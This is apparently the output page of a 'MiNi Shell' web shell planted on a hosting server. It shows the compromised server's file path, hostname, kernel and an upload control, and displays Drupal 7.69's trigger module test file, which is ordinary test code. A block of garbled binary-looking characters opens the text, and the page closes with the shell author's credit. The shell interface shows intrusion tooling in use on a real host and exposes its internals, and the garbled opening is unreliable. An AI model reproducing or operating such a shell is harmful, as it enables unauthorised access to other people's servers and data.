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.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /hermes/bosweb01/b744/petrogas.gm/schools/stp/drupal-7.69/modules/trigger/

Linux boscustweb5004.eigbox.net 5.4.91 #1 SMP Wed Jan 20 18:10:28 EST 2021 x86_64
Upload File :
Current File : //hermes/bosweb01/b744/petrogas.gm/schools/stp/drupal-7.69/modules/trigger/trigger.test

<?php

/**
 * @file
 * Tests for trigger.module.
 */

/**
 * Provides common helper methods.
 */
class TriggerWebTestCase extends DrupalWebTestCase {

  /**
   * Configures an advanced action.
   *
   * @param $action
   *   The name of the action callback. For example: 'user_block_user_action'
   * @param $edit
   *   The $edit array for the form to be used to configure.
   *   Example members would be 'actions_label' (always), 'message', etc.
   *
   * @return
   *   the aid (action id) of the configured action, or FALSE if none.
   */
  protected function configureAdvancedAction($action, $edit) {
    // Create an advanced action.
    $hash = drupal_hash_base64($action);
    $this->drupalPost("admin/config/system/actions/configure/$hash", $edit, t('Save'));
    $this->assertText(t('The action has been successfully saved.'));

    // Now we have to find out the action ID of what we created.
    return db_query('SELECT aid FROM {actions} WHERE callback = :callback AND label = :label', array(':callback' => $action, ':label' => $edit['actions_label']))->fetchField();
  }

}

/**
 * Provides tests for node triggers.
 */
class TriggerContentTestCase extends TriggerWebTestCase {
  var $_cleanup_roles = array();
  var $_cleanup_users = array();

  public static function getInfo() {
    return array(
      'name' => 'Trigger content (node) actions',
      'description' => 'Perform various tests with content actions.',
      'group' => 'Trigger',
    );
  }

  function setUp() {
    parent::setUp('trigger', 'trigger_test');
  }

  /**
   * Tests several content-oriented trigger issues.
   *
   * These are in one function to assure they happen in the right order.
   */
  function testActionsContent() {
    global $user;
    $content_actions = array('node_publish_action', 'node_unpublish_action', 'node_make_sticky_action', 'node_make_unsticky_action', 'node_promote_action', 'node_unpromote_action');

    $test_user = $this->drupalCreateUser(array('administer actions'));
    $web_user = $this->drupalCreateUser(array('create page content', 'access content', 'administer nodes'));
    foreach ($content_actions as $action) {
      $hash = drupal_hash_base64($action);
      $info = $this->actionInfo($action);

      // Assign an action to a trigger, then pull the trigger, and make sure
      // the actions fire.
      $this->drupalLogin($test_user);
      $edit = array('aid' => $hash);
      $this->drupalPost('admin/structure/trigger/node', $edit, t('Assign'), array(), array(), 'trigger-node-presave-assign-form');
      // Create an unpublished node.
      $this->drupalLogin($web_user);
      $edit = array();
      $langcode = LANGUAGE_NONE;
      $edit["title"] = '!SimpleTest test node! ' . $this->randomName(10);
      $edit["body[$langcode][0][value]"] = '!SimpleTest test body! ' . $this->randomName(32) . ' ' . $this->randomName(32);
      $edit[$info['property']] = !$info['expected'];
      $this->drupalPost('node/add/page', $edit, t('Save'));
      // Make sure the text we want appears.
      $this->assertRaw(t('!post %title has been created.', array('!post' => 'Basic page', '%title' => $edit["title"])), 'Make sure the Basic page has actually been created');
      // Action should have been fired.
      $loaded_node = $this->drupalGetNodeByTitle($edit["title"]);
      $this->assertTrue($loaded_node->{$info['property']} == $info['expected'], format_string('Make sure the @action action fired.', array('@action' => $info['name'])));
      // Leave action assigned for next test

      // There should be an error when the action is assigned to the trigger
      // twice.
      $this->drupalLogin($test_user);
      // This action already assigned in this test.
      $edit = array('aid' => $hash);
      $this->drupalPost('admin/structure/trigger/node', $edit, t('Assign'), array(), array(), 'trigger-node-presave-assign-form');
      $this->assertRaw(t('The action you chose is already assigned to that trigger.'), 'Check to make sure an error occurs when assigning an action to a trigger twice.');

      // The action should be able to be unassigned from a trigger.
      $this->drupalPost('admin/structure/trigger/unassign/node/node_presave/' . $hash, array(), t('Unassign'));
      $this->assertRaw(t('Action %action has been unassigned.', array('%action' => ucfirst($info['name']))), format_string('Check to make sure the @action action can be unassigned from the trigger.', array('@action' => $info['name'])));
      $assigned = db_query("SELECT COUNT(*) FROM {trigger_assignments} WHERE aid IN (:keys)", array(':keys' => $content_actions))->fetchField();
      $this->assertFalse($assigned, 'Check to make sure unassign worked properly at the database level.');
    }
  }

  /**
   * Tests multiple node actions.
   *
   * Verifies that node actions are fired for each node individually, if acting
   * on multiple nodes.
   */
  function testActionContentMultiple() {
    // Assign an action to the node save/update trigger.
    $test_user = $this->drupalCreateUser(array('administer actions', 'administer nodes', 'create page content', 'access administration pages', 'access content overview'));
    $this->drupalLogin($test_user);
    $nodes = array();

    for ($index = 0; $index < 3; $index++) {
      $nodes[] = $this->drupalCreateNode(array('type' => 'page'));
    }

    $action_id = 'trigger_test_generic_any_action';
    $hash = drupal_hash_base64($action_id);
    $edit = array('aid' => $hash);
    $this->drupalPost('admin/structure/trigger/node', $edit, t('Assign'), array(), array(), 'trigger-node-update-assign-form');

    $edit = array(
      'operation' => 'unpublish',
      'nodes[' . $nodes[0]->nid . ']' => TRUE,
      'nodes[' . $nodes[1]->nid . ']' => TRUE,
    );
    $this->drupalPost('admin/content', $edit, t('Update'));
    $count = variable_get('trigger_test_generic_any_action', 0);
    $this->assertTrue($count == 2, format_string('Action was triggered 2 times. Actual: %count', array('%count' => $count)));
  }

  /**
   * Returns some info about each of the content actions.
   *
   * This is helper function for testActionsContent().
   *
   * @param $action
   *   The name of the action to return info about.
   *
   * @return
   *   An associative array of info about the action.
   */
  function actionInfo($action) {
    $info = array(
      'node_publish_action' => array(
        'property' => 'status',
        'expected' => 1,
        'name' => t('publish content'),
      ),
      'node_unpublish_action' => array(
        'property' => 'status',
        'expected' => 0,
        'name' => t('unpublish content'),
      ),
      'node_make_sticky_action' => array(
        'property' => 'sticky',
        'expected' => 1,
        'name' => t('make content sticky'),
      ),
      'node_make_unsticky_action' => array(
        'property' => 'sticky',
        'expected' => 0,
        'name' => t('make content unsticky'),
      ),
      'node_promote_action' => array(
        'property' => 'promote',
        'expected' => 1,
        'name' => t('promote content to front page'),
      ),
      'node_unpromote_action' => array(
        'property' => 'promote',
        'expected' => 0,
        'name' => t('remove content from front page'),
      ),
    );
    return $info[$action];
  }
}

/**
 * Tests cron trigger.
 */
class TriggerCronTestCase extends TriggerWebTestCase {
  public static function getInfo() {
    return array(
      'name' => 'Trigger cron (system) actions',
      'description' => 'Perform various tests with cron trigger.',
      'group' => 'Trigger',
    );
  }

  function setUp() {
    parent::setUp('trigger', 'trigger_test');
  }

  /**
   * Tests assigning multiple actions to the cron trigger.
   *
   * This test ensures that both simple and multiple complex actions
   * succeed properly. This is done in the cron trigger test because
   * cron allows passing multiple actions in at once.
   */
  function testActionsCron() {
    // Create an administrative user.
    $test_user = $this->drupalCreateUser(array('administer actions'));
    $this->drupalLogin($test_user);

    // Assign a non-configurable action to the cron run trigger.
    $edit = array('aid' => drupal_hash_base64('trigger_test_system_cron_action'));
    $this->drupalPost('admin/structure/trigger/system', $edit, t('Assign'), array(), array(), 'trigger-cron-assign-form');

    // Assign a configurable action to the cron trigger.
    $action_label = $this->randomName();
    $edit = array(
      'actions_label' => $action_label,
      'subject' => $action_label,
    );
    $aid = $this->configureAdvancedAction('trigger_test_system_cron_conf_action', $edit);
    // $aid is likely 3 but if we add more uses for the sequences table in
    // core it might break, so it is easier to get the value from the database.
    $edit = array('aid' => drupal_hash_base64($aid));
    $this->drupalPost('admin/structure/trigger/system', $edit, t('Assign'), array(), array(), 'trigger-cron-assign-form');

    // Add a second configurable action to the cron trigger.
    $action_label = $this->randomName();
    $edit = array(
      'actions_label' => $action_label,
      'subject' => $action_label,
    );
    $aid = $this->configureAdvancedAction('trigger_test_system_cron_conf_action', $edit);
    $edit = array('aid' => drupal_hash_base64($aid));
    $this->drupalPost('admin/structure/trigger/system', $edit, t('Assign'), array(), array(), 'trigger-cron-assign-form');

    // Force a cron run.
    $this->cronRun();

    // Make sure the non-configurable action has fired.
    $action_run = variable_get('trigger_test_system_cron_action', FALSE);
    $this->assertTrue($action_run, 'Check that the cron run triggered the test action.');

    // Make sure that both configurable actions have fired.
    $action_run = variable_get('trigger_test_system_cron_conf_action', 0) == 2;
    $this->assertTrue($action_run, 'Check that the cron run triggered both complex actions.');
  }
}

/**
 * Provides a base class with trigger assignments and test comparisons.
 */
class TriggerActionTestCase extends TriggerWebTestCase {

  function setUp() {
    parent::setUp('trigger');
  }

  /**
   * Creates a message with tokens.
   *
   * @param $trigger
   *
   * @return
   *   A message with embedded tokens.
   */
  function generateMessageWithTokens($trigger) {
    // Note that subject is limited to 254 characters in action configuration.
    $message = t('Action was triggered by trigger @trigger user:name=[user:name] user:uid=[user:uid] user:mail=[user:mail] user:url=[user:url] user:edit-url=[user:edit-url] user:created=[user:created]',
      array('@trigger' => $trigger));
    return trim($message);
  }

  /**
   * Generates a comparison message to match the pre-token-replaced message.
   *
   * @param $trigger
   *   Trigger, like 'user_login'.
   * @param $account
   *   Associated user account.
   *
   * @return
   *   The token-replaced equivalent message. This does not use token
   *   functionality.
   *
   * @see generateMessageWithTokens()
   */
  function generateTokenExpandedComparison($trigger, $account) {
    // Note that user:last-login was omitted because it changes and can't
    // be properly verified.
    $message = t('Action was triggered by trigger @trigger user:name=@username user:uid=@uid user:mail=@mail user:url=@user_url user:edit-url=@user_edit_url user:created=@user_created',
       array(
        '@trigger' => $trigger,
        '@username' => $account->name,
        '@uid' => !empty($account->uid) ? $account->uid : t('not yet assigned'),
        '@mail' => $account->mail,
        '@user_url' => !empty($account->uid) ? url("user/$account->uid", array('absolute' => TRUE)) : t('not yet assigned'),
        '@user_edit_url' => !empty($account->uid) ? url("user/$account->uid/edit", array('absolute' => TRUE)) : t('not yet assigned'),
        '@user_created' => isset($account->created) ? format_date($account->created, 'medium') : t('not yet created'),
        )
      );
      return trim($message);
  }


  /**
   * Assigns a simple (non-configurable) action to a trigger.
   *
   * @param $trigger
   *   The trigger to assign to, like 'user_login'.
   * @param $action
   *   The simple action to be assigned, like 'comment_insert'.
   */
  function assignSimpleAction($trigger, $action) {
    $form_name = "trigger_{$trigger}_assign_form";
    $form_html_id = strtr($form_name, '_', '-');
    $edit = array('aid' => drupal_hash_base64($action));
    $trigger_type = preg_replace('/_.*/', '', $trigger);
    $this->drupalPost("admin/structure/trigger/$trigger_type", $edit, t('Assign'), array(), array(), $form_html_id);
    $actions = trigger_get_assigned_actions($trigger);
    $this->assertTrue(!empty($actions[$action]), format_string('Simple action @action assigned to trigger @trigger', array('@action' => $action, '@trigger' => $trigger)));
  }

  /**
   * Assigns a system message action to the passed-in trigger.
   *
   * @param $trigger
   *   For example, 'user_login'
   */
  function assignSystemMessageAction($trigger) {
    $form_name = "trigger_{$trigger}_assign_form";
    $form_html_id = strtr($form_name, '_', '-');
    // Assign a configurable action 'System message' to the passed trigger.
    $action_edit = array(
      'actions_label' => $trigger . "_system_message_action_" . $this->randomName(16),
      'message' => $this->generateMessageWithTokens($trigger),
    );

    // Configure an advanced action that we can assign.
    $aid = $this->configureAdvancedAction('system_message_action', $action_edit);

    $edit = array('aid' => drupal_hash_base64($aid));
    $this->drupalPost('admin/structure/trigger/user', $edit, t('Assign'), array(), array(), $form_html_id);
    drupal_static_reset('trigger_get_asssigned_actions');
  }


  /**
   * Assigns a system_send_email_action to the passed-in trigger.
   *
   * @param $trigger
   *   For example, 'user_login'
   */
  function assignSystemEmailAction($trigger) {
    $form_name = "trigger_{$trigger}_assign_form";
    $form_html_id = strtr($form_name, '_', '-');

    $message = $this->generateMessageWithTokens($trigger);
    // Assign a configurable action 'System message' to the passed trigger.
    $action_edit = array(
      // 'actions_label' => $trigger . "_system_send_message_action_" . $this->randomName(16),
      'actions_label' => $trigger . "_system_send_email_action",
      'recipient' => '[user:mail]',
      'subject' => $message,
      'message' => $message,
    );

    // Configure an advanced action that we can assign.
    $aid = $this->configureAdvancedAction('system_send_email_action', $action_edit);

    $edit = array('aid' => drupal_hash_base64($aid));
    $this->drupalPost('admin/structure/trigger/user', $edit, t('Assign'), array(), array(), $form_html_id);
    drupal_static_reset('trigger_get_assigned_actions');
  }

  /**
   * Asserts correct token replacement in both system message and email.
   *
   * @param $trigger
   *   A trigger like 'user_login'.
   * @param $account
   *   The user account which triggered the action.
   * @param $email_depth
   *   Number of emails to scan, starting with most recent.
   */
  function assertSystemMessageAndEmailTokenReplacement($trigger, $account, $email_depth = 1) {
    $this->assertSystemMessageTokenReplacement($trigger, $account);
    $this->assertSystemEmailTokenReplacement($trigger, $account, $email_depth);
  }

  /**
   * Asserts correct token replacement for the given trigger and account.
   *
   * @param $trigger
   *   A trigger like 'user_login'.
   * @param $account
   *   The user account which triggered the action.
   */
  function assertSystemMessageTokenReplacement($trigger, $account) {
    $expected = $this->generateTokenExpandedComparison($trigger, $account);
    $this->assertText($expected,
      format_string('Expected system message to contain token-replaced text "@expected" found in configured system message action', array('@expected' => $expected )) );
  }


  /**
   * Asserts correct token replacement for the given trigger and account.
   *
   * @param $trigger
   *   A trigger like 'user_login'.
   * @param $account
   *   The user account which triggered the action.
   * @param $email_depth
   *   Number of emails to scan, starting with most recent.
   */
  function assertSystemEmailTokenReplacement($trigger, $account, $email_depth = 1) {
    $this->verboseEmail($email_depth);
    $expected = $this->generateTokenExpandedComparison($trigger, $account);
    $this->assertMailString('subject', $expected, $email_depth);
    $this->assertMailString('body', $expected, $email_depth);
    $this->assertMail('to', $account->mail, 'Mail sent to correct destination');
  }
}

/**
 * Tests token substitution in trigger actions.
 *
 * This tests nearly every permutation of user triggers with system actions
 * and checks the token replacement.
 */
class TriggerUserTokenTestCase extends TriggerActionTestCase {
  public static function getInfo() {
    return array(
      'name' => 'Test user triggers',
      'description' => 'Test user triggers and system actions with token replacement.',
      'group' => 'Trigger',
    );
  }


  /**
   * Tests a variety of token replacements in actions.
   */
  function testUserTriggerTokenReplacement() {
    $test_user = $this->drupalCreateUser(array('administer actions', 'administer users', 'change own username', 'access user profiles'));
    $this->drupalLogin($test_user);

    $triggers = array('user_login', 'user_insert', 'user_update', 'user_delete', 'user_logout', 'user_view');
    foreach ($triggers as $trigger) {
      $this->assignSystemMessageAction($trigger);
      $this->assignSystemEmailAction($trigger);
    }

    $this->drupalLogout();
    $this->assertSystemEmailTokenReplacement('user_logout', $test_user);

    $this->drupalLogin($test_user);
    $this->assertSystemMessageAndEmailTokenReplacement('user_login', $test_user, 2);
    $this->assertSystemMessageAndEmailTokenReplacement('user_view', $test_user, 2);

    $this->drupalPost("user/{$test_user->uid}/edit", array('name' => $test_user->name . '_changed'), t('Save'));
    $test_user->name .= '_changed'; // Since we just changed it.
    $this->assertSystemMessageAndEmailTokenReplacement('user_update', $test_user, 2);

    $this->drupalGet('user');
    $this->assertSystemMessageAndEmailTokenReplacement('user_view', $test_user);

    $new_user = $this->drupalCreateUser(array('administer actions', 'administer users', 'cancel account', 'access administration pages'));
    $this->assertSystemEmailTokenReplacement('user_insert', $new_user);

    $this->drupalLogin($new_user);
    $user_to_delete = $this->drupalCreateUser(array('access content'));
    variable_set('user_cancel_method', 'user_cancel_delete');

    $this->drupalPost("user/{$user_to_delete->uid}/cancel", array(), t('Cancel account'));
    $this->assertSystemMessageAndEmailTokenReplacement('user_delete', $user_to_delete);
  }


}

/**
 * Tests token substitution in trigger actions.
 *
 * This tests nearly every permutation of user triggers with system actions
 * and checks the token replacement.
 */
class TriggerUserActionTestCase extends TriggerActionTestCase {
  public static function getInfo() {
    return array(
      'name' => 'Test user actions',
      'description' => 'Test user actions.',
      'group' => 'Trigger',
    );
  }

  /**
   * Tests user action assignment and execution.
   */
  function testUserActionAssignmentExecution() {
    $test_user = $this->drupalCreateUser(array('administer actions', 'create article content', 'access comments', 'administer comments', 'skip comment approval', 'edit own comments'));
    $this->drupalLogin($test_user);

    $triggers = array('comment_presave', 'comment_insert', 'comment_update');
    // system_block_ip_action is difficult to test without ruining the test.
    $actions = array('user_block_user_action');
    foreach ($triggers as $trigger) {
      foreach ($actions as $action) {
        $this->assignSimpleAction($trigger, $action);
      }
    }

    $node = $this->drupalCreateNode(array('type' => 'article'));
    $this->drupalPost("node/{$node->nid}", array('comment_body[und][0][value]' => t("my comment"), 'subject' => t("my comment subject")), t('Save'));
    // Posting a comment should have blocked this user.
    $account = user_load($test_user->uid, TRUE);
    $this->assertTrue($account->status == 0, 'Account is blocked');
    $comment_author_uid = $account->uid;
    // Now rehabilitate the comment author so it can be be blocked again when
    // the comment is updated.
    user_save($account, array('status' => TRUE));

    $test_user = $this->drupalCreateUser(array('administer actions', 'create article content', 'access comments', 'administer comments', 'skip comment approval', 'edit own comments'));
    $this->drupalLogin($test_user);

    // Our original comment will have been comment 1.
    $this->drupalPost("comment/1/edit", array('comment_body[und][0][value]' => t("my comment, updated"), 'subject' => t("my comment subject")), t('Save'));
    $comment_author_account = user_load($comment_author_uid, TRUE);
    $this->assertTrue($comment_author_account->status == 0, format_string('Comment author account (uid=@uid) is blocked after update to comment', array('@uid' => $comment_author_uid)));

    // Verify that the comment was updated.
    $test_user = $this->drupalCreateUser(array('administer actions', 'create article content', 'access comments', 'administer comments', 'skip comment approval', 'edit own comments'));
    $this->drupalLogin($test_user);

    $this->drupalGet("node/$node->nid");
    $this->assertText(t("my comment, updated"));
    $this->verboseEmail();
  }
}

/**
 * Tests other triggers.
 */
class TriggerOtherTestCase extends TriggerWebTestCase {
  var $_cleanup_roles = array();
  var $_cleanup_users = array();

  public static function getInfo() {
    return array(
      'name' => 'Trigger other actions',
      'description' => 'Test triggering of user, comment, taxonomy actions.',
      'group' => 'Trigger',
    );
  }

  function setUp() {
    parent::setUp('trigger', 'trigger_test', 'contact');
  }

  /**
   * Tests triggering on user create and user login.
   */
  function testActionsUser() {
    // Assign an action to the create user trigger.
    $test_user = $this->drupalCreateUser(array('administer actions'));
    $this->drupalLogin($test_user);
    $action_id = 'trigger_test_generic_action';
    $hash = drupal_hash_base64($action_id);
    $edit = array('aid' => $hash);
    $this->drupalPost('admin/structure/trigger/user', $edit, t('Assign'), array(), array(), 'trigger-user-insert-assign-form');

    // Set action variable to FALSE.
    variable_set($action_id, FALSE);

    // Create an unblocked user
    $web_user = $this->drupalCreateUser(array('administer users'));
    $this->drupalLogin($web_user);
    $name = $this->randomName();
    $pass = user_password();
    $edit = array();
    $edit['name'] = $name;
    $edit['mail'] = $name . '@example.com';
    $edit['pass[pass1]'] = $pass;
    $edit['pass[pass2]'] = $pass;
    $edit['status'] = 1;
    $this->drupalPost('admin/people/create', $edit, t('Create new account'));

    // Verify that the action variable has been set.
    $this->assertTrue(variable_get($action_id, FALSE), 'Check that creating a user triggered the test action.');

    // Reset the action variable.
    variable_set($action_id, FALSE);

    $this->drupalLogin($test_user);
    // Assign a configurable action 'System message' to the user_login trigger.
    $action_edit = array(
      'actions_label' => $this->randomName(16),
      'message' => t("You have logged in:") . $this->randomName(16),
    );

    // Configure an advanced action that we can assign.
    $aid = $this->configureAdvancedAction('system_message_action', $action_edit);
    $edit = array('aid' => drupal_hash_base64($aid));
    $this->drupalPost('admin/structure/trigger/user', $edit, t('Assign'), array(), array(), 'trigger-user-login-assign-form');

    // Verify that the action has been assigned to the correct hook.
    $actions = trigger_get_assigned_actions('user_login');
    $this->assertEqual(1, count($actions), 'One Action assigned to the hook');
    $this->assertEqual($actions[$aid]['label'], $action_edit['actions_label'], 'Correct action label found.');

    // User should get the configured message at login.
    $contact_user = $this->drupalCreateUser(array('access site-wide contact form'));;
    $this->drupalLogin($contact_user);
    $this->assertText($action_edit['message']);
  }

  /**
   * Tests triggering on comment save.
   */
  function testActionsComment() {
    // Assign an action to the comment save trigger.
    $test_user = $this->drupalCreateUser(array('administer actions'));
    $this->drupalLogin($test_user);
    $action_id = 'trigger_test_generic_action';
    $hash = drupal_hash_base64($action_id);
    $edit = array('aid' => $hash);
    $this->drupalPost('admin/structure/trigger/comment', $edit, t('Assign'), array(), array(), 'trigger-comment-insert-assign-form');

    // Set action variable to FALSE.
    variable_set($action_id, FALSE);

    // Create a node and add a comment to it.
    $web_user = $this->drupalCreateUser(array('create article content', 'access content', 'skip comment approval', 'post comments'));
    $this->drupalLogin($web_user);
    $node = $this->drupalCreateNode(array('type' => 'article', 'promote' => 1));
    $edit = array();
    $edit['subject'] = $this->randomName(10);
    $edit['comment_body[' . LANGUAGE_NONE . '][0][value]'] = $this->randomName(10) . ' ' . $this->randomName(10);
    $this->drupalGet('comment/reply/' . $node->nid);
    $this->drupalPost(NULL, $edit, t('Save'));

    // Verify that the action variable has been set.
    $this->assertTrue(variable_get($action_id, FALSE), 'Check that creating a comment triggered the action.');
  }

  /**
   * Tests triggering on taxonomy new term.
   */
  function testActionsTaxonomy() {
    // Assign an action to the taxonomy term save trigger.
    $test_user = $this->drupalCreateUser(array('administer actions'));
    $this->drupalLogin($test_user);
    $action_id = 'trigger_test_generic_action';
    $hash = drupal_hash_base64($action_id);
    $edit = array('aid' => $hash);
    $this->drupalPost('admin/structure/trigger/taxonomy', $edit, t('Assign'), array(), array(), 'trigger-taxonomy-term-insert-assign-form');

    // Set action variable to FALSE.
    variable_set($action_id, FALSE);

    // Create a taxonomy vocabulary and add a term to it.

    // Create a vocabulary.
    $vocabulary = new stdClass();
    $vocabulary->name = $this->randomName();
    $vocabulary->description = $this->randomName();
    $vocabulary->machine_name = drupal_strtolower($this->randomName());
    $vocabulary->help = '';
    $vocabulary->nodes = array('article' => 'article');
    $vocabulary->weight = mt_rand(0, 10);
    taxonomy_vocabulary_save($vocabulary);

    $term = new stdClass();
    $term->name = $this->randomName();
    $term->vid = $vocabulary->vid;
    taxonomy_term_save($term);

    // Verify that the action variable has been set.
    $this->assertTrue(variable_get($action_id, FALSE), 'Check that creating a taxonomy term triggered the action.');
  }

}

/**
 * Tests that orphaned actions are properly handled.
 */
class TriggerOrphanedActionsTestCase extends DrupalWebTestCase {

  public static function getInfo() {
    return array(
      'name' => 'Trigger orphaned actions',
      'description' => 'Test triggering an action that has since been removed.',
      'group' => 'Trigger',
    );
  }

  function setUp() {
    parent::setUp('trigger', 'trigger_test');
  }

  /**
   * Tests logic around orphaned actions.
   */
  function testActionsOrphaned() {
    $action = 'trigger_test_generic_any_action';
    $hash = drupal_hash_base64($action);

    // Assign an action from a disable-able module to a trigger, then pull the
    // trigger, and make sure the actions fire.
    $test_user = $this->drupalCreateUser(array('administer actions'));
    $this->drupalLogin($test_user);
    $edit = array('aid' => $hash);
    $this->drupalPost('admin/structure/trigger/node', $edit, t('Assign'), array(), array(), 'trigger-node-presave-assign-form');

    // Create an unpublished node.
    $web_user = $this->drupalCreateUser(array('create page content', 'edit own page content', 'access content', 'administer nodes'));
    $this->drupalLogin($web_user);
    $edit = array();
    $langcode = LANGUAGE_NONE;
    $edit["title"] = '!SimpleTest test node! ' . $this->randomName(10);
    $edit["body[$langcode][0][value]"] = '!SimpleTest test body! ' . $this->randomName(32) . ' ' . $this->randomName(32);
    $this->drupalPost('node/add/page', $edit, t('Save'));
    $this->assertRaw(t('!post %title has been created.', array('!post' => 'Basic page', '%title' => $edit["title"])), 'Make sure the Basic page has actually been created');

    // Action should have been fired.
    $this->assertTrue(variable_get('trigger_test_generic_any_action', FALSE), 'Trigger test action successfully fired.');

    // Disable the module that provides the action and make sure the trigger
    // doesn't white screen.
    module_disable(array('trigger_test'));
    $loaded_node = $this->drupalGetNodeByTitle($edit["title"]);
    $edit["body[$langcode][0][value]"] = '!SimpleTest test body! ' . $this->randomName(32) . ' ' . $this->randomName(32);
    $this->drupalPost("node/$loaded_node->nid/edit", $edit, t('Save'));

    // If the node body was updated successfully we have dealt with the
    // unavailable action.
    $this->assertRaw(t('!post %title has been updated.', array('!post' => 'Basic page', '%title' => $edit["title"])), 'Make sure the Basic page can be updated with the missing trigger function.');
  }
}

/**
 * Tests the unassigning of triggers.
 */
class TriggerUnassignTestCase extends DrupalWebTestCase {

  public static function getInfo() {
    return array(
      'name' => 'Trigger unassigning',
      'description' => 'Tests the unassigning of triggers.',
      'group' => 'Trigger',
    );
  }

  function setUp() {
    parent::setUp('trigger', 'trigger_test');
    $web_user = $this->drupalCreateUser(array('administer actions'));
    $this->drupalLogin($web_user);
  }

  /**
   * Tests an attempt to unassign triggers when none are assigned.
   */
  function testUnassignAccessDenied() {
    $this->drupalGet('admin/structure/trigger/unassign');
    $this->assertResponse(403, 'If there are no actions available, return access denied.');
  }

}

Creat By MiNi SheLL
Email: devilkiller@gmail.com